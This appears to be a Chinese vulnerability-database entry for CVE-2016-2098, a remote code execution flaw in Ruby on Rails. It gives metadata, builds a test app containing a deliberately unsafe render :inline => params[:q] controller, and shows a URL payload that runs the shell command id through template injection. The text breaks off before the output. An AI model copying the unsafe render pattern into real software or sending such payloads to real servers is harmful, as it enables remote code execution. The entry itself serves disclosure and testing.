Ruby on Rails Action Pack远程代码执行漏洞

基本字段

漏洞编号：: SSV-91073

披露/发现时间：: 未知

提交时间：: 2016-03-17

漏洞等级：

漏洞类别：: 代码执行

影响组件：: Ruby on Rails
(=3.2.x, 4.0.x, 4.1.x, 4.2.x)

漏洞作者：: Tobias Kraze and joernchen

提交者：: Knownsec

CVE-ID：: CVE-2016-2098

CNNVD-ID：: 补充

CNVD-ID：: 补充

ZoomEye Dork：: 补充

来源

漏洞详情

贡献者 Knownsec 共获得 0KB

漏洞应用

测试环境:Rails-4.0.13 (Ruby-2.1.5)

测试系统:Kali Linux 2.0

创建 Rails 应用:

 rails new cve-2016-2098 
 cd cve-2016-2098

使用自带命令创建控制器 vuln 路由 index,并修改其路由默认处理代码:

rails generate scaffold User name:string desc:text age:integer 
rake db:migrate

修改 app/controllers/users_controller.rb 中 index 函数代码为:

class UsersController < ApplicationController ...
def show
render :inline => params[:q]
end ...
# def set_user # ..
# end
end

启动应用访问 http://*.*.*.*:3000/users/<%25=%20`id`%20%25>时,代码会将 “<%= `id` %>”做为模板 :inline 渲染的方式将传入的字符串作为模板内容进行渲染,因为在 Rails 模板引擎中,<%= [string_here] %> 表示将 [string_here] 作为 Ruby 代码进行执行并将结果进行返回,所以最终访问页面会返回系统执行 id 命令后的结果: